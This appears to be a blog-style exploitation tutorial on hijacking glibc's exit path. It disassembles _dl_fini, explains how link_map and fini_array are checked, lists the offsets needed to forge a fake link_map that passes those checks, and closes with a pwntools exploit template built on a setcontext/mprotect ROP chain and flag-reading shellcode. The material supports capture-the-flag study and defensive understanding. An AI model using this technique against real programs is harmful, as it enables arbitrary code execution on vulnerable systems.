   0x00007ffff7fc90a4 <+100>:	cmp    r12,0xffffffffffffffff
   0x00007ffff7fc90a8 <+104>:	je     0x7ffff7fc92f0 <_dl_fini+688>
   0x00007ffff7fc90ae <+110>:	mov    rdi,r13
   0x00007ffff7fc90b1 <+113>:	call   QWORD PTR [rip+0x339c9]        # 0x7ffff7ffca80 <___rtld_mutex_lock>
   0x00007ffff7fc90b7 <+119>:	mov    r15d,DWORD PTR [rbx+0x8]
   0x00007ffff7fc90bb <+123>:	test   r15d,r15d
   0x00007ffff7fc90be <+126>:	je     0x7ffff7fc9090 <_dl_fini+80>
   0x00007ffff7fc90c0 <+128>:	mov    rax,QWORD PTR [rbx]
   0x00007ffff7fc90c3 <+131>:	movzx  eax,BYTE PTR [rax+0x31d]
   0x00007ffff7fc90ca <+138>:	shr    al,0x7
   0x00007ffff7fc90cd <+141>:	movzx  eax,al
   0x00007ffff7fc90d0 <+144>:	cmp    eax,DWORD PTR [rbp-0x44]
   0x00007ffff7fc90d3 <+147>:	jne    0x7ffff7fc9090 <_dl_fini+80>
   0x00007ffff7fc90d5 <+149>:	mov    esi,0x2
   0x00007ffff7fc90da <+154>:	mov    rdi,r12
   0x00007ffff7fc90dd <+157>:	mov    QWORD PTR [rbp-0x58],rsp
   0x00007ffff7fc90e1 <+161>:	call   0x7ffff7fde250 <_dl_audit_activity_nsid>
   0x00007ffff7fc90e6 <+166>:	mov    eax,r15d
   0x00007ffff7fc90e9 <+169>:	mov    rdx,rsp
   0x00007ffff7fc90ec <+172>:	lea    rax,[rax*8+0xf]
   0x00007ffff7fc90f4 <+180>:	shr    rax,0x4
   0x00007ffff7fc90f8 <+184>:	shl    rax,0x4
   0x00007ffff7fc90fc <+188>:	mov    rcx,rax
   0x00007ffff7fc90ff <+191>:	and    rcx,0xfffffffffffff000
   0x00007ffff7fc9106 <+198>:	sub    rdx,rcx
   0x00007ffff7fc9109 <+201>:	cmp    rsp,rdx
   0x00007ffff7fc910c <+204>:	je     0x7ffff7fc9123 <_dl_fini+227>
   0x00007ffff7fc910e <+206>:	sub    rsp,0x1000
   0x00007ffff7fc9115 <+213>:	or     QWORD PTR [rsp+0xff8],0x0
   0x00007ffff7fc911e <+222>:	cmp    rsp,rdx
   0x00007ffff7fc9121 <+225>:	jne    0x7ffff7fc910e <_dl_fini+206>
   0x00007ffff7fc9123 <+227>:	and    eax,0xfff
   0x00007ffff7fc9128 <+232>:	sub    rsp,rax
   0x00007ffff7fc912b <+235>:	test   rax,rax
   0x00007ffff7fc912e <+238>:	jne    0x7ffff7fc9333 <_dl_fini+755>
   0x00007ffff7fc9134 <+244>:	mov    rax,QWORD PTR [rbx]
   0x00007ffff7fc9137 <+247>:	mov    r14,rsp
   0x00007ffff7fc913a <+250>:	xor    esi,esi
   0x00007ffff7fc913c <+252>:	test   rax,rax
   0x00007ffff7fc913f <+255>:	jne    0x7ffff7fc9151 <_dl_fini+273>
   0x00007ffff7fc9141 <+257>:	jmp    0x7ffff7fc917f <_dl_fini+319>
   0x00007ffff7fc9143 <+259>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7fc9148 <+264>:	mov    rax,QWORD PTR [rax+0x18]
   0x00007ffff7fc914c <+268>:	test   rax,rax
   0x00007ffff7fc914f <+271>:	je     0x7ffff7fc917f <_dl_fini+319>
   0x00007ffff7fc9151 <+273>:	cmp    QWORD PTR [rax+0x28],rax
   0x00007ffff7fc9155 <+277>:	jne    0x7ffff7fc9148 <_dl_fini+264>
   0x00007ffff7fc9157 <+279>:	cmp    r15d,esi
   0x00007ffff7fc915a <+282>:	jbe    0x7ffff7fc937e <_dl_fini+830>
   0x00007ffff7fc9160 <+288>:	mov    edx,esi
   0x00007ffff7fc9162 <+290>:	mov    QWORD PTR [r14+rdx*8],rax
   0x00007ffff7fc9166 <+294>:	mov    DWORD PTR [rax+0x3f4],esi
   0x00007ffff7fc916c <+300>:	add    esi,0x1
   0x00007ffff7fc916f <+303>:	add    DWORD PTR [rax+0x318],0x1
   0x00007ffff7fc9176 <+310>:	mov    rax,QWORD PTR [rax+0x18]
   0x00007ffff7fc917a <+314>:	test   rax,rax
   0x00007ffff7fc917d <+317>:	jne    0x7ffff7fc9151 <_dl_fini+273>
   0x00007ffff7fc917f <+319>:	cmp    r15d,esi
   0x00007ffff7fc9182 <+322>:	sete   al
   0x00007ffff7fc9185 <+325>:	test   r12,r12
   0x00007ffff7fc9188 <+328>:	jne    0x7ffff7fc9192 <_dl_fini+338>
   0x00007ffff7fc918a <+330>:	test   al,al
   0x00007ffff7fc918c <+332>:	je     0x7ffff7fc93bc <_dl_fini+892>
   0x00007ffff7fc9192 <+338>:	test   r12,r12
   0x00007ffff7fc9195 <+341>:	sete   dl
   0x00007ffff7fc9198 <+344>:	test   al,al
   0x00007ffff7fc919a <+346>:	jne    0x7ffff7fc91ad <_dl_fini+365>
   0x00007ffff7fc919c <+348>:	test   dl,dl
   0x00007ffff7fc919e <+350>:	jne    0x7ffff7fc91ad <_dl_fini+365>
   0x00007ffff7fc91a0 <+352>:	sub    r15d,0x1
   0x00007ffff7fc91a4 <+356>:	cmp    r15d,esi
   0x00007ffff7fc91a7 <+359>:	jne    0x7ffff7fc939d <_dl_fini+861>
   0x00007ffff7fc91ad <+365>:	movzx  edx,dl
   0x00007ffff7fc91b0 <+368>:	mov    ecx,0x1
   0x00007ffff7fc91b5 <+373>:	mov    rdi,r14
   0x00007ffff7fc91b8 <+376>:	mov    DWORD PTR [rbp-0x38],esi
   0x00007ffff7fc91bb <+379>:	call   0x7ffff7fd6730 <_dl_sort_maps>
   0x00007ffff7fc91c0 <+384>:	mov    rdi,r13
   0x00007ffff7fc91c3 <+387>:	call   QWORD PTR [rip+0x338af]        # 0x7ffff7ffca78 <___rtld_mutex_unlock>
   0x00007ffff7fc91c9 <+393>:	mov    esi,DWORD PTR [rbp-0x38]
   0x00007ffff7fc91cc <+396>:	test   esi,esi
   0x00007ffff7fc91ce <+398>:	je     0x7ffff7fc9292 <_dl_fini+594>
   0x00007ffff7fc91d4 <+404>:	lea    eax,[rsi-0x1]
   0x00007ffff7fc91d7 <+407>:	lea    rax,[r14+rax*8+0x8]
   0x00007ffff7fc91dc <+412>:	mov    QWORD PTR [rbp-0x50],rax
   0x00007ffff7fc91e0 <+416>:	mov    r15,QWORD PTR [r14]
   0x00007ffff7fc91e3 <+419>:	movzx  eax,BYTE PTR [r15+0x31c]
   0x00007ffff7fc91eb <+427>:	test   al,0x8
   0x00007ffff7fc91ed <+429>:	je     0x7ffff7fc927c <_dl_fini+572>
   0x00007ffff7fc91f3 <+435>:	and    eax,0xfffffff7
   0x00007ffff7fc91f6 <+438>:	mov    BYTE PTR [r15+0x31c],al
   0x00007ffff7fc91fd <+445>:	mov    rax,QWORD PTR [r15+0x110]
   0x00007ffff7fc9204 <+452>:	test   rax,rax
   0x00007ffff7fc9207 <+455>:	je     0x7ffff7fc92a8 <_dl_fini+616>
   0x00007ffff7fc920d <+461>:	test   BYTE PTR [rip+0x338cc],0x2        # 0x7ffff7ffcae0 <_rtld_global_ro>
   0x00007ffff7fc9214 <+468>:	jne    0x7ffff7fc92c0 <_dl_fini+640>
   0x00007ffff7fc921a <+474>:	mov    rax,QWORD PTR [rax+0x8]
   0x00007ffff7fc921e <+478>:	add    rax,QWORD PTR [r15]
   0x00007ffff7fc9221 <+481>:	mov    rsi,rax
   0x00007ffff7fc9224 <+484>:	mov    QWORD PTR [rbp-0x40],rax
   0x00007ffff7fc9228 <+488>:	mov    rax,QWORD PTR [r15+0x120]
   0x00007ffff7fc922f <+495>:	mov    rdx,QWORD PTR [rax+0x8]
   0x00007ffff7fc9233 <+499>:	shr    rdx,0x3
   0x00007ffff7fc9237 <+503>:	lea    eax,[rdx-0x1]
   0x00007ffff7fc923a <+506>:	lea    rax,[rsi+rax*8]
   0x00007ffff7fc923e <+510>:	test   edx,edx
   0x00007ffff7fc9240 <+512>:	je     0x7ffff7fc925f <_dl_fini+543>
   0x00007ffff7fc9242 <+514>:	nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fc9248 <+520>:	mov    QWORD PTR [rbp-0x38],rax
   0x00007ffff7fc924c <+524>:	call   QWORD PTR [rax]
   0x00007ffff7fc924e <+526>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00007ffff7fc9252 <+530>:	mov    rdx,rax
   0x00007ffff7fc9255 <+533>:	sub    rax,0x8
   0x00007ffff7fc9259 <+537>:	cmp    QWORD PTR [rbp-0x40],rdx
   0x00007ffff7fc925d <+541>:	jne    0x7ffff7fc9248 <_dl_fini+520>
   0x00007ffff7fc925f <+543>:	mov    rax,QWORD PTR [r15+0xa8]
   0x00007ffff7fc9266 <+550>:	test   rax,rax
   0x00007ffff7fc9269 <+553>:	je     0x7ffff7fc9274 <_dl_fini+564>
   0x00007ffff7fc926b <+555>:	mov    rax,QWORD PTR [rax+0x8]
   0x00007ffff7fc926f <+559>:	add    rax,QWORD PTR [r15]
   0x00007ffff7fc9272 <+562>:	call   rax
   0x00007ffff7fc9274 <+564>:	mov    rdi,r15
   0x00007ffff7fc9277 <+567>:	call   0x7ffff7fde570 <_dl_audit_objclose>
   0x00007ffff7fc927c <+572>:	sub    DWORD PTR [r15+0x318],0x1
   0x00007ffff7fc9284 <+580>:	add    r14,0x8
   0x00007ffff7fc9288 <+584>:	cmp    QWORD PTR [rbp-0x50],r14
   0x00007ffff7fc928c <+588>:	jne    0x7ffff7fc91e0 <_dl_fini+416>
   0x00007ffff7fc9292 <+594>:	xor    esi,esi
   0x00007ffff7fc9294 <+596>:	mov    rdi,r12
   0x00007ffff7fc9297 <+599>:	call   0x7ffff7fde250 <_dl_audit_activity_nsid>
   0x00007ffff7fc929c <+604>:	mov    rsp,QWORD PTR [rbp-0x58]
   0x00007ffff7fc92a0 <+608>:	jmp    0x7ffff7fc9099 <_dl_fini+89>
   0x00007ffff7fc92a5 <+613>:	nop    DWORD PTR [rax]
   0x00007ffff7fc92a8 <+616>:	mov    rax,QWORD PTR [r15+0xa8]
   0x00007ffff7fc92af <+623>:	test   rax,rax
   0x00007ffff7fc92b2 <+626>:	je     0x7ffff7fc9274 <_dl_fini+564>
   0x00007ffff7fc92b4 <+628>:	test   BYTE PTR [rip+0x33825],0x2        # 0x7ffff7ffcae0 <_rtld_global_ro>
   0x00007ffff7fc92bb <+635>:	je     0x7ffff7fc926b <_dl_fini+555>
   0x00007ffff7fc92bd <+637>:	nop    DWORD PTR [rax]
   0x00007ffff7fc92c0 <+640>:	mov    rsi,QWORD PTR [r15+0x8]
   0x00007ffff7fc92c4 <+644>:	cmp    BYTE PTR [rsi],0x0
   0x00007ffff7fc92c7 <+647>:	je     0x7ffff7fc9319 <_dl_fini+729>
   0x00007ffff7fc92c9 <+649>:	xor    eax,eax
   0x00007ffff7fc92cb <+651>:	mov    rdx,r12
   0x00007ffff7fc92ce <+654>:	lea    rdi,[rip+0x277bc]        # 0x7ffff7ff0a91
   0x00007ffff7fc92d5 <+661>:	call   0x7ffff7fd2bc0 <_dl_debug_printf>
   0x00007ffff7fc92da <+666>:	mov    rax,QWORD PTR [r15+0x110]
   0x00007ffff7fc92e1 <+673>:	test   rax,rax
   0x00007ffff7fc92e4 <+676>:	je     0x7ffff7fc925f <_dl_fini+543>
   0x00007ffff7fc92ea <+682>:	jmp    0x7ffff7fc921a <_dl_fini+474>
   0x00007ffff7fc92ef <+687>:	nop
   0x00007ffff7fc92f0 <+688>:	mov    edx,DWORD PTR [rbp-0x44]
   0x00007ffff7fc92f3 <+691>:	test   edx,edx
   0x00007ffff7fc92f5 <+693>:	jne    0x7ffff7fc9301 <_dl_fini+705>
   0x00007ffff7fc92f7 <+695>:	mov    eax,DWORD PTR [rip+0x33b7b]        # 0x7ffff7ffce78 <_rtld_global_ro+920>
   0x00007ffff7fc92fd <+701>:	test   eax,eax
   0x00007ffff7fc92ff <+703>:	jne    0x7ffff7fc933e <_dl_fini+766>
   0x00007ffff7fc9301 <+705>:	test   BYTE PTR [rip+0x337d8],0x80        # 0x7ffff7ffcae0 <_rtld_global_ro>
   0x00007ffff7fc9308 <+712>:	jne    0x7ffff7fc9360 <_dl_fini+800>
   0x00007ffff7fc930a <+714>:	lea    rsp,[rbp-0x28]
   0x00007ffff7fc930e <+718>:	pop    rbx
   0x00007ffff7fc930f <+719>:	pop    r12
   0x00007ffff7fc9311 <+721>:	pop    r13
   0x00007ffff7fc9313 <+723>:	pop    r14
   0x00007ffff7fc9315 <+725>:	pop    r15
   0x00007ffff7fc9317 <+727>:	pop    rbp
   0x00007ffff7fc9318 <+728>:	ret    
   0x00007ffff7fc9319 <+729>:	mov    rax,QWORD PTR [rip+0x337a0]        # 0x7ffff7ffcac0 <_dl_argv>
   0x00007ffff7fc9320 <+736>:	mov    rsi,QWORD PTR [rax]
   0x00007ffff7fc9323 <+739>:	lea    rax,[rip+0x277f9]        # 0x7ffff7ff0b23
   0x00007ffff7fc932a <+746>:	test   rsi,rsi
   0x00007ffff7fc932d <+749>:	cmove  rsi,rax
   0x00007ffff7fc9331 <+753>:	jmp    0x7ffff7fc92c9 <_dl_fini+649>
   0x00007ffff7fc9333 <+755>:	or     QWORD PTR [rsp+rax*1-0x8],0x0
   0x00007ffff7fc9339 <+761>:	jmp    0x7ffff7fc9134 <_dl_fini+244>
   0x00007ffff7fc933e <+766>:	mov    r12,QWORD PTR [rip+0x346fb]        # 0x7ffff7ffda40 <_rtld_global+2560>
   0x00007ffff7fc9345 <+773>:	mov    DWORD PTR [rbp-0x44],0x1
   0x00007ffff7fc934c <+780>:	sub    r12,0x1
   0x00007ffff7fc9350 <+784>:	jns    0x7ffff7fc9074 <_dl_fini+52>
   0x00007ffff7fc9356 <+790>:	jmp    0x7ffff7fc9301 <_dl_fini+705>
   0x00007ffff7fc9358 <+792>:	nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7fc9360 <+800>:	mov    rdx,QWORD PTR [rip+0x34779]        # 0x7ffff7ffdae0 <_rtld_global+2720>
   0x00007ffff7fc9367 <+807>:	mov    rsi,QWORD PTR [rip+0x3476a]        # 0x7ffff7ffdad8 <_rtld_global+2712>
   0x00007ffff7fc936e <+814>:	lea    rdi,[rip+0x29ea3]        # 0x7ffff7ff3218
   0x00007ffff7fc9375 <+821>:	xor    eax,eax
   0x00007ffff7fc9377 <+823>:	call   0x7ffff7fd2bc0 <_dl_debug_printf>
   0x00007ffff7fc937c <+828>:	jmp    0x7ffff7fc930a <_dl_fini+714>
   0x00007ffff7fc937e <+830>:	lea    rcx,[rip+0x29f0b]        # 0x7ffff7ff3290 <__PRETTY_FUNCTION__.0>
   0x00007ffff7fc9385 <+837>:	mov    edx,0x52
   0x00007ffff7fc938a <+842>:	lea    rsi,[rip+0x2785c]        # 0x7ffff7ff0bed
   0x00007ffff7fc9391 <+849>:	lea    rdi,[rip+0x2785f]        # 0x7ffff7ff0bf7
   0x00007ffff7fc9398 <+856>:	call   0x7ffff7fe1460 <__GI___assert_fail>
   0x00007ffff7fc939d <+861>:	lea    rcx,[rip+0x29eec]        # 0x7ffff7ff3290 <__PRETTY_FUNCTION__.0>
   0x00007ffff7fc93a4 <+868>:	mov    edx,0x5d
   0x00007ffff7fc93a9 <+873>:	lea    rsi,[rip+0x2783d]        # 0x7ffff7ff0bed
   0x00007ffff7fc93b0 <+880>:	lea    rdi,[rip+0x29e29]        # 0x7ffff7ff31e0
   0x00007ffff7fc93b7 <+887>:	call   0x7ffff7fe1460 <__GI___assert_fail>
   0x00007ffff7fc93bc <+892>:	lea    rcx,[rip+0x29ecd]        # 0x7ffff7ff3290 <__PRETTY_FUNCTION__.0>
   0x00007ffff7fc93c3 <+899>:	mov    edx,0x5c
   0x00007ffff7fc93c8 <+904>:	lea    rsi,[rip+0x2781e]        # 0x7ffff7ff0bed
   0x00007ffff7fc93cf <+911>:	lea    rdi,[rip+0x29de2]        # 0x7ffff7ff31b8
   0x00007ffff7fc93d6 <+918>:	call   0x7ffff7fe1460 <__GI___assert_fail>
End of assembler dump.

Array | fini_array

In the _dl_fini() function, the fini_array is directly referenced:

  • The fini_array is fetched using l->l_info[DT_FINI_ARRAY]->d_un.d_ptr. This provides the base address of the fini_array.
  • The size of the array is retrieved from l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val and divided by sizeof(ElfW(Addr)) to get the number of entries.
  • The loop calls each function in reverse order: ((fini_t) array[i])().

We can observe it in GDB:

The l_info field we're observing is an array of pointers that typically correspond to various dynamic linking information entries, such as DT_INIT, DT_FINI, DT_INIT_ARRAY, DT_FINI_ARRAY, and others. These entries help the dynamic linker manage and initialize shared libraries, set up constructor/destructor functions, and handle other necessary runtime linking tasks.

Here’s a list of common dynamic entries and their corresponding indices:

The l_info field we're observing is an array of pointers that typically correspond to various dynamic linking information entries, such as DT_INIT, DT_FINI, DT_INIT_ARRAY, DT_FINI_ARRAY, and others. These entries help the dynamic linker manage and initialize shared libraries, set up constructor/destructor functions, and handle other necessary runtime linking tasks.

Here’s a list of common dynamic entries and their corresponding indices:

IndexNameDescription
0DT_NULLMarks the end of the dynamic section
1DT_NEEDEDName of a needed library
2DT_PLTRELSZSize in bytes of PLT relocation entries
3DT_PLTGOTAddress associated with the procedure linkage table
4DT_HASHAddress of the symbol hash table
5DT_STRTABAddress of the string table
6DT_SYMTABAddress of the symbol table
25DT_INIT_ARRAYPointer to the initialization function array
26DT_FINI_ARRAYPointer to the termination function array
27DT_INIT_ARRAYSZSize of the DT_INIT_ARRAY in bytes
28DT_FINI_ARRAYSZSize of the DT_FINI_ARRAY in bytes

Typically, the dynamic linker utilizes several of these entries:

  • l_info[DT_FINI]: Contains the pointer to the DT_FINI entry, which is the destructor function to be called when the program or library is unloaded.
  • l_info[DT_INIT]: Contains the pointer to the DT_INIT entry, which is the constructor function to be called when the program or library is loaded.
  • l_info[DT_FINI_ARRAY]: This points to an array of functions to be called when the program or library terminates (destructors).
  • l_info[DT_INIT_ARRAY]: This points to an array of functions to be called during initialization (constructors).

The DT_FINI_ARRAY entry, stored at index 0x1A (decimal 26), is our target. It is executed when the program exits. Additionally, DT_FINI_ARRAYSZ, stored at index 28, specifies the size of the fini_array.

Attack Chain

After understanding relevant structures and functions, we can depict the attack chain as:

exit
   └───►_dl_fini
               └───► ((fini_t) array[i]) ()

The hijack endpoint ((fini_t) array[i]) () will reference the following structures:

_rtld_global -> ns_loaded (3rd) -> link_map (fake) -> fini_array (hijacked)

Security Checks

Certain protection mechanism is applied in the cleanup routine, specifically in the _dl_fini function. The protection is designed to prevent attackers from manipulating the link_map structures and exploiting them for code execution.

Check 1

for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
        /* Do not handle ld.so in secondary namespaces.  */
// -------------------check1-------------------
    if (l == l->l_real)
// -------------------check1-------------------
    {
    assert (i < nloaded);

    maps[i] = l;
    l->l_idx = i;
    ++i;

    /* Bump l_direct_opencount of all objects so that they
        are not dlclose()ed from underneath us.  */
    ++l->l_direct_opencount;
    }
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
  • The l == l->l_real check prevents an attacker from replacing the link_map structure with a fake one because the l_real pointer must match the link_map's own address.
  • The index (l_idx) and reference counting (l_direct_opencount) also provide a layer of integrity, ensuring that objects can't be unloaded prematurely and that the right number of link_map structures are being processed.
  • The assertions act as additional safeguards, ensuring that the number of link_map objects matches the expected value, thwarting attempts to add or remove objects from the list.

Check 2, 3, 4

#define DT_FINI_ARRAY   26      /* Array with addresses of fini fct */
#define DT_FINI_ARRAYSZ 28      /* Size in bytes of DT_FINI_ARRAY */

  for (i = 0; i < nmaps; ++i)
    {
        struct link_map *l = maps[i];
// -------------------check2-------------------
        if (l->l_init_called)
// -------------------check2-------------------
        {
          /* Make sure nothing happens if we are called twice.  */
          l->l_init_called = 0;

          /* Is there a destructor function?  */
// -------------------check3-------------------
          if (l->l_info[26] != NULL
              || l->l_info[DT_FINI] != NULL)
// -------------------check3-------------------
            {
                ....

// -------------------check4-------------------
                if (l->l_info[26] != NULL)
// -------------------check4-------------------
                {
                    array = (l->l_addr + l->l_info[26]->d_un.d_ptr);

                    i = (l->l_info[28]->d_un.d_val / 8));

                    while (i-- > 0)
                        ((fini_t) array[i]) ();
                }
                ...
            }
        }
    }
  • Check 2: It ensures that the fini (destructor) functions are only called once for each loaded object.
    • If l->l_init_called is set to 1, it means the initialization functions have already been called, and it is safe to proceed with calling the destructors. After the check passes, l->l_init_called is set to 0 to prevent calling the destructors multiple times for the same object.
    • This prevents an attacker from causing the destructor functions to be called repeatedly, potentially leading to double-free vulnerabilities or other forms of memory corruption.
  • Check 3: This check ensures that the object has valid destructor functions registered. The l_info array contains information about the dynamic section of the ELF file.
    • l_info[DT_FINI_ARRAY] (index 26): Points to the array of destructor function pointers.
    • l_info[DT_FINI]: Points to a single destructor function (if any).
    • Ensure that the program only attempts to run destructors if there are any registered for the shared object. This prevents accessing invalid memory or calling non-existent functions, which could be exploited to execute arbitrary code if not properly checked.
  • Check 4: This block processes the DT_FINI_ARRAY, which contains multiple destructor function pointers.
    • Array Bounds: The variable i is initialized with the number of destructors (l_info[DT_FINI_ARRAYSZ] divided by the size of a pointer, which is 8 bytes on 64-bit systems). This ensures that the code only iterates over valid entries in the DT_FINI_ARRAY, preventing an out-of-bounds access.
    • Valid Function Pointers: It assumes that the array contains valid function pointers and calls them as destructor functions: ((fini_t) array[i]) ();. By ensuring that the array size is properly calculated and only valid entries are accessed, it helps prevent invoking unintended or malicious code from an attacker.

Hijack & Bypass

To hijack the execution flow at the end of our target, we need to fake a link_map structure to bypass the security checks. For this analysis, let's assume the address of our fake link_map is A.

Bypass Check 1

This is straightforward. We need to set the l_real pointer (at A+0x28) to point to the address of the fake link_map itself.

Overall, we should modify *(A + 0x28) = A to bypass this check.

Bypass Check 2

We can calculates the offset between the beginning of the fake link_map structure and the l_init_called field:

distance _rtld_global._dl_ns[0]._ns_loaded  &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called

And check the current value of the l_init_called field at the specific memory address:

x/wx &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called

Overall, we should modify *(A + 0x314) = 0x4011c to bypass this check.

Bypass Check 3,4

Hijack array[i]

Calculate the offset in the fake link_map structure where we need to place the values for l_info[26] (which corresponds to DT_FINI_ARRAY):

distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
  • l_info[DT_FINI_ARRAY]: This points to the fini_array, an array of function pointers to destructors that should be executed when the program finishes.
  • By setting l_info[26] to point to a controlled memory area, we can control which functions are called.

Overall, we should modify *(A + 0x110) = B to hijack execution flow, where B is a controlled memory with our malicious pointers.

Calculate the offset in the fake link_map structure where we need to place the values for l_info[28] (which corresponds to DT_FINI_ARRAYSZ):

distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
  • l_info[DT_FINI_ARRAYSZ]: This stores the size of the fini_array, and it's used to determine how many entries in the array should be executed.
  • By setting this field, we can control how many function pointers in the array will be executed.

Overall, we should modify *(A + 0x120) = B to hijack execution flow, where B is a controlled memory with our malicious pointers.

Our final goal is to hijack ((fini_t) array[i]) (), where we have l_info[26] (for the array), and l_info[28] (for the i).

Normal array[i]

We can leverage the usual looking of array[i] to forge our data (function pointers) within the array.

In a normal execution flow, we can examine l_info[26]:

p/x  *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
// p/x  ((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])->d_un.d_ptr

The d_ptr in l_info[26] points to the actual fini_array at offset 0x3d68. It's a relative address from the base address l_addr, which is the base address of the loaded shared object. As we can see from the source code above, the array is structured as follows:

array = (l->l_addr + l->l_info[26]->d_un.d_ptr);

Therefore, we can first view the base address in GDB using command:

p/x (_rtld_global._dl_ns[0]._ns_loaded)->l_addr

Add up the offset and base address, then observe where the final address l_info[26] points to:

This points to the function __do_global_dtors_aux, which is the destructor function for global destructors. The subsequent entries in the _DYNAMIC section relates to dynamic linker information.

Similarly, we can investigate l_info[28]:

p/x  *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28]) 

d_val = 0x8 indicates the size of the fini_array is 0x8 bytes (which corresponds to one function pointer).

Methodology

Once exit is triggered, _dl_fini will reference the _rtld_global structure, where we will inject our fake link_map structure.

Step 1

First, the _ns_loaded field in _rtld_global should be modified to point to the fake third link_map entry, which can be placed on the heap, for instance.

At least 4 link_map structures are linked by the _ns_loaded. The third link_map in the chain is chosen because it simplifies the attack, so that we don't need to forge all four in the linked list.

We can search for the 3rd one in GDB with the following command:

p &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)

Whose address can be dynamically calculated with a fixed offset to LIBC base:

Overwrite this 3rd l_next pointer to point to our fake link_map. For example, this can be a controlled heap—assume the address of this fake link_map is A for the following analysis.

Step 2

To bypass the 1st security check from dl_fini, we should satisfy:

  • l_next: Point to the next legitimate link_map, namely *(A + 0x18) = next_link_map (view in GDB: &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next->l_next).
  • l_real: Point to itself to bypass maps[i] = l, namely *(A + 0x28) = A.

Step 3

To bypass the 2nd security check from dl_fini, we should satisfy:

  • l_init_called: this value can vary from environments—check the runtime variables. For example, *(A + 0x31c) = 0x4011c.

Step 4

Forge the fini_array to execute ((fini_t) array[i]) ().

For the array array (for example: at offset 0x110):

  • *(A + 0x110) = A + 0x40
  • *(A + 0x48) = A + 0x58
  • *(A + 0x58) = <malicious_pointers>

For the i index (for example: at offset 0x120):

  • *(A + 0x120) = A + 0x48
  • *(A + 0x50) = 8

EXP Template

Adjust the template according to real attack scenario:

# _rtld_global
rtld_global_addr = 0xdeadc0de
"""
distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
"""
linkMap3_addr = rtld_global_addr + 0xdead4all	# largebin attack target
pa(rtld_global_addr)
pa(linkMap3_addr)

# Gadgets
setcontext      = libc_base + libc.sym['setcontext'] + 61
mprotect        = libc_base + libc.sym['mprotect']

rop 	        = ROP(libc)
p_rdi_r         = libc_base + rop.find_gadget(['pop rdi', 'ret'])[0]
p_rsi_r         = libc_base + rop.find_gadget(['pop rsi', 'ret'])[0]
p_rdx_rbx_r     = libc_base + rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0]
ret             = libc_base + rop.find_gadget(['ret'])[0]
pa(setcontext)

fakeLinkMap_addr = 0xdeadbeef
nextLinkMap_addr = 0xdeadbabe
mprotect_chain   = [p_rdi_r, fakeLinkMap_addr&(~0xfff), p_rsi_r, 0x4000, \
                  p_rdx_rbx_r, 7, 0, mprotect, fakeLinkMap_addr+0x140]	# 0x48 bytes
orw_chain        = asm(shellcraft.cat('/flag'))	# 0x23 bytes
pa(fakeLinkMap_addr)

pl = flat({
    # fake link_map
    0: {  
        0x18: nextLinkMap_addr,	# l_next
        0x28: fakeLinkMap_addr,	# l_real
        0x48: fakeLinkMap_addr+0x58,	# l_info[26]->d_ptr (func)
        0x50: 8, 	# l_info[28]->d_ptr (size)
        """
        Set rdx=fakeLinkMap_addr before exploit
        Or patche the attack chain according to actual rdx value
        
        setcontext:
        <+61>:  mov rsp, [rdx+0xa0]
        <+294>: mov rcx, [rdx+0xa8]
        <+301>: push rcx
        <+334>: ret
        """
        0x58: setcontext,	# RIP!
    },
    0x100: { 
        0x10: fakeLinkMap_addr + 0x40,    # l_info[26], DT_FINI_ARRAY
        0x20: fakeLinkMap_addr + 0x48,    # l_info[28], DT_FINI_ARRAYSZ
        0x40: orw_chain,	# mprotect ->
        0xa0: [fakeLinkMap_addr+0x200, ret],	# setcontext ->
    },
    0x200: {
        0x0 : mprotect_chain,
    },
    0x300: {
        """
        distance _rtld_global._dl_ns[0]._ns_loaded  &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
        """
        0x1c: 0x4011c,	# l_init_called
    }
}, filler='\0')

Use with self-custom defined functions in EXP template: link

DEMO

I might save the writeup for a pwn challenge for another article—this post is already long enough!


Are you watching me?